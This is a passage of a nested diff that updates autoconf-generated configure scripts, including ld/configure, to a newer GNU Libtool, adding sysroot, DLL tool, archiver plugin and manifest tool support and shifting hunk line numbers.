@@ -6612,7 +6636,7 @@ index 3cf41b79116..e5d57f52912 100755
#
# Check to make sure the PIC flag actually works.
-@@ -8582,6 +9090,11 @@ fi
+@@ -7960,6 +8464,11 @@ fi
@@ -6624,7 +6648,7 @@ index 3cf41b79116..e5d57f52912 100755
#
# Check to make sure the static flag actually works.
#
-@@ -8932,7 +9445,8 @@ _LT_EOF
+@@ -8310,7 +8819,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -6634,7 +6658,7 @@ index 3cf41b79116..e5d57f52912 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9031,12 +9545,12 @@ _LT_EOF
+@@ -8409,12 +8919,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -6649,7 +6673,7 @@ index 3cf41b79116..e5d57f52912 100755
fi
;;
esac
-@@ -9050,8 +9564,8 @@ _LT_EOF
+@@ -8428,8 +8938,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -6660,7 +6684,7 @@ index 3cf41b79116..e5d57f52912 100755
fi
;;
-@@ -9069,8 +9583,8 @@ _LT_EOF
+@@ -8447,8 +8957,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -6671,7 +6695,7 @@ index 3cf41b79116..e5d57f52912 100755
else
ld_shlibs=no
fi
-@@ -9116,8 +9630,8 @@ _LT_EOF
+@@ -8494,8 +9004,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -6682,7 +6706,7 @@ index 3cf41b79116..e5d57f52912 100755
else
ld_shlibs=no
fi
-@@ -9247,7 +9761,13 @@ _LT_EOF
+@@ -8625,7 +9135,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -6697,7 +6721,7 @@ index 3cf41b79116..e5d57f52912 100755
/* end confdefs.h. */
int
-@@ -9260,22 +9780,29 @@ main ()
+@@ -8638,22 +9154,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -6740,7 +6764,7 @@ index 3cf41b79116..e5d57f52912 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9287,7 +9814,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8665,7 +9188,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -6755,7 +6779,7 @@ index 3cf41b79116..e5d57f52912 100755
/* end confdefs.h. */
int
-@@ -9300,22 +9833,29 @@ main ()
+@@ -8678,22 +9207,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -6798,7 +6822,7 @@ index 3cf41b79116..e5d57f52912 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -9360,20 +9900,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8738,20 +9274,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -6876,7 +6900,7 @@ index 3cf41b79116..e5d57f52912 100755
;;
darwin* | rhapsody*)
-@@ -9434,7 +10017,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8812,7 +9391,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -6885,7 +6909,7 @@ index 3cf41b79116..e5d57f52912 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -9442,7 +10025,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8820,7 +9399,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -6894,7 +6918,7 @@ index 3cf41b79116..e5d57f52912 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -9458,7 +10041,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8836,7 +9415,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -6903,7 +6927,7 @@ index 3cf41b79116..e5d57f52912 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -9482,10 +10065,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8860,10 +9439,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -6916,7 +6940,7 @@ index 3cf41b79116..e5d57f52912 100755
;;
esac
else
-@@ -9564,23 +10147,36 @@ fi
+@@ -8942,23 +9521,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -6961,7 +6985,7 @@ index 3cf41b79116..e5d57f52912 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9665,7 +10261,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9043,7 +9635,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -6970,7 +6994,7 @@ index 3cf41b79116..e5d57f52912 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -9684,9 +10280,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9062,9 +9654,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -6982,7 +7006,7 @@ index 3cf41b79116..e5d57f52912 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -10262,8 +10858,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9640,8 +10232,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -6994,7 +7018,7 @@ index 3cf41b79116..e5d57f52912 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -10296,13 +10893,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9674,13 +10267,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -7067,7 +7091,7 @@ index 3cf41b79116..e5d57f52912 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -10394,7 +11049,7 @@ haiku*)
+@@ -9762,7 +10413,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -7076,16 +7100,16 @@ index 3cf41b79116..e5d57f52912 100755
hardcode_into_libs=yes
;;
-@@ -11190,7 +11845,7 @@ else
+@@ -10558,7 +11209,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11193 "configure"
+-#line 10561 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11234,10 +11889,10 @@ else
+@@ -10602,10 +11253,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -7098,16 +7122,16 @@ index 3cf41b79116..e5d57f52912 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11296,7 +11951,7 @@ else
+@@ -10664,7 +11315,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11299 "configure"
+-#line 10667 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11340,10 +11995,10 @@ else
+@@ -10708,10 +11359,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -7120,7 +7144,7 @@ index 3cf41b79116..e5d57f52912 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -13309,13 +13964,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -12731,13 +13382,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -7141,7 +7165,7 @@ index 3cf41b79116..e5d57f52912 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -13330,14 +13992,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -12752,14 +13410,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -7160,7 +7184,7 @@ index 3cf41b79116..e5d57f52912 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -13370,12 +14035,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -12792,12 +13453,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -7174,7 +7198,7 @@ index 3cf41b79116..e5d57f52912 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -13430,8 +14095,13 @@ reload_flag \
+@@ -12852,8 +13513,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -7188,7 +7212,7 @@ index 3cf41b79116..e5d57f52912 100755
STRIP \
RANLIB \
CC \
-@@ -13441,12 +14111,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -12863,12 +13529,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -7204,7 +7228,7 @@ index 3cf41b79116..e5d57f52912 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -13462,7 +14134,6 @@ no_undefined_flag \
+@@ -12884,7 +13552,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -7212,7 +7236,7 @@ index 3cf41b79116..e5d57f52912 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -13498,6 +14169,7 @@ module_cmds \
+@@ -12920,6 +13587,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -7220,7 +7244,7 @@ index 3cf41b79116..e5d57f52912 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -14263,7 +14935,8 @@ $as_echo X"$file" |
+@@ -13685,7 +14353,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -7230,7 +7254,7 @@ index 3cf41b79116..e5d57f52912 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -14366,19 +15039,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -13788,19 +14457,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -7274,7 +7298,7 @@ index 3cf41b79116..e5d57f52912 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -14408,6 +15104,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -13830,6 +14522,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -7287,7 +7311,7 @@ index 3cf41b79116..e5d57f52912 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -14417,6 +15119,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -13839,6 +14537,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -7297,7 +7321,7 @@ index 3cf41b79116..e5d57f52912 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -14531,12 +15236,12 @@ with_gcc=$GCC
+@@ -13953,12 +14654,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -7313,7 +7337,7 @@ index 3cf41b79116..e5d57f52912 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -14623,9 +15328,6 @@ inherit_rpath=$inherit_rpath
+@@ -14045,9 +14746,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -7323,7 +7347,7 @@ index 3cf41b79116..e5d57f52912 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -14641,6 +15343,9 @@ include_expsyms=$lt_include_expsyms
+@@ -14063,6 +14761,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -7333,7 +7357,7 @@ index 3cf41b79116..e5d57f52912 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -14673,210 +15378,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -14095,210 +14796,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -7708,10 +7732,10 @@ index 3cf41b79116..e5d57f52912 100755
chmod +x "$ofile"
diff --git a/ld/configure b/ld/configure
-index 1c872c0db5f..fe938e6c99f 100755
+index 2aeb3317b65..5ef46d31558 100755
--- a/ld/configure
+++ b/ld/configure
-@@ -691,8 +691,11 @@ OTOOL
+@@ -693,8 +693,11 @@ OTOOL
LIPO
NMEDIT
DSYMUTIL
@@ -7723,7 +7747,7 @@ index 1c872c0db5f..fe938e6c99f 100755
OBJDUMP
LN_S
NM
-@@ -819,6 +822,7 @@ enable_static
+@@ -821,6 +824,7 @@ enable_static
with_pic
enable_fast_install
with_gnu_ld
@@ -7731,7 +7755,7 @@ index 1c872c0db5f..fe938e6c99f 100755
enable_libtool_lock
enable_plugins
enable_largefile
-@@ -1520,6 +1524,8 @@ Optional Packages:
+@@ -1528,6 +1532,8 @@ Optional Packages:
--with-pic try to use only PIC/non-PIC objects [default=use
both]
--with-gnu-ld assume the C compiler uses GNU ld [default=no]
@@ -7740,7 +7764,7 @@ index 1c872c0db5f..fe938e6c99f 100755
--with-lib-path=dir1:dir2... set default LIB_PATH
--with-sysroot=DIR Search for usr/lib et al within DIR.
--with-system-zlib use installed libz
-@@ -5973,8 +5979,8 @@ esac
+@@ -5327,8 +5333,8 @@ esac
@@ -7751,7 +7775,7 @@ index 1c872c0db5f..fe938e6c99f 100755
-@@ -6014,7 +6020,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -5368,7 +5374,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -7760,7 +7784,7 @@ index 1c872c0db5f..fe938e6c99f 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6700,8 +6706,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -6054,8 +6060,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -7771,7 +7795,7 @@ index 1c872c0db5f..fe938e6c99f 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -6750,6 +6756,80 @@ esac
+@@ -6104,6 +6110,80 @@ esac
@@ -7852,7 +7876,7 @@ index 1c872c0db5f..fe938e6c99f 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6766,6 +6846,11 @@ case $reload_flag in
+@@ -6120,6 +6200,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -7864,7 +7888,7 @@ index 1c872c0db5f..fe938e6c99f 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6934,7 +7019,8 @@ mingw* | pw32*)
+@@ -6288,7 +6373,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -7874,7 +7898,7 @@ index 1c872c0db5f..fe938e6c99f 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -7088,6 +7174,21 @@ esac
+@@ -6442,6 +6528,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -7896,7 +7920,7 @@ index 1c872c0db5f..fe938e6c99f 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -7103,9 +7204,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6457,6 +6558,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -8051,6 +8075,12 @@ index 1c872c0db5f..fe938e6c99f 100755
+
+
+
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6471,8 +6723,10 @@ for plugin in $plugin_names; do
+ done
+
if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
@@ -8061,7 +8091,7 @@ index 1c872c0db5f..fe938e6c99f 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -7121,7 +7375,7 @@ do
+@@ -6488,7 +6742,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -8070,7 +8100,7 @@ index 1c872c0db5f..fe938e6c99f 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -7141,11 +7395,15 @@ $as_echo "no" >&6; }
+@@ -6508,11 +6762,15 @@ $as_echo "no" >&6; }
fi
@@ -8089,7 +8119,7 @@ index 1c872c0db5f..fe938e6c99f 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -7161,7 +7419,7 @@ do
+@@ -6528,7 +6786,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -8098,7 +8128,7 @@ index 1c872c0db5f..fe938e6c99f 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -7180,6 +7438,10 @@ else
+@@ -6547,6 +6805,10 @@ else
$as_echo "no" >&6; }
fi
@@ -8109,7 +8139,7 @@ index 1c872c0db5f..fe938e6c99f 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -7191,12 +7453,12 @@ ac_tool_warned=yes ;;
+@@ -6558,25 +6820,19 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -8118,15 +8148,33 @@ index 1c872c0db5f..fe938e6c99f 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
-+
-+
-@@ -7206,6 +7468,62 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+@@ -6588,6 +6844,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
@@ -8186,10 +8234,12 @@ index 1c872c0db5f..fe938e6c99f 100755
+
+
+
-
-
++
++
if test -n "$ac_tool_prefix"; then
-@@ -7542,8 +7860,8 @@ esac
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -6927,8 +7241,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -8200,7 +8250,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -7579,6 +7897,7 @@ for ac_symprfx in "" "_"; do
+@@ -6964,6 +7278,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -8208,7 +8258,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -7620,6 +7939,18 @@ _LT_EOF
+@@ -7005,6 +7320,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -8227,7 +8277,7 @@ index 1c872c0db5f..fe938e6c99f 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -7631,7 +7962,7 @@ _LT_EOF
+@@ -7016,7 +7343,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -8236,7 +8286,7 @@ index 1c872c0db5f..fe938e6c99f 100755
const char *name;
void *address;
}
-@@ -7657,8 +7988,8 @@ static const void *lt_preloaded_setup() {
+@@ -7042,8 +7369,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -8247,7 +8297,7 @@ index 1c872c0db5f..fe938e6c99f 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7668,8 +7999,8 @@ _LT_EOF
+@@ -7053,8 +7380,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -8258,7 +8308,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -7706,6 +8037,19 @@ else
+@@ -7091,6 +7418,17 @@ else
$as_echo "ok" >&6; }
fi
@@ -8273,12 +8323,10 @@ index 1c872c0db5f..fe938e6c99f 100755
+
+
+
-+
-+
-@@ -7722,6 +8066,42 @@ fi
+@@ -7107,6 +7445,44 @@ fi
@@ -8286,6 +8334,8 @@ index 1c872c0db5f..fe938e6c99f 100755
+
+
+
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
+$as_echo_n "checking for sysroot... " >&6; }
+
@@ -8321,7 +8371,7 @@ index 1c872c0db5f..fe938e6c99f 100755
-@@ -7933,6 +8313,123 @@ esac
+@@ -7318,6 +7694,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -8445,7 +8495,7 @@ index 1c872c0db5f..fe938e6c99f 100755
case $host_os in
rhapsody* | darwin*)
-@@ -8496,6 +8993,8 @@ _LT_EOF
+@@ -7881,6 +8374,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -8454,7 +8504,7 @@ index 1c872c0db5f..fe938e6c99f 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -8564,6 +9063,16 @@ done
+@@ -7949,6 +8444,16 @@ done
@@ -8471,26 +8521,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Set options
-@@ -8692,7 +9201,8 @@ fi
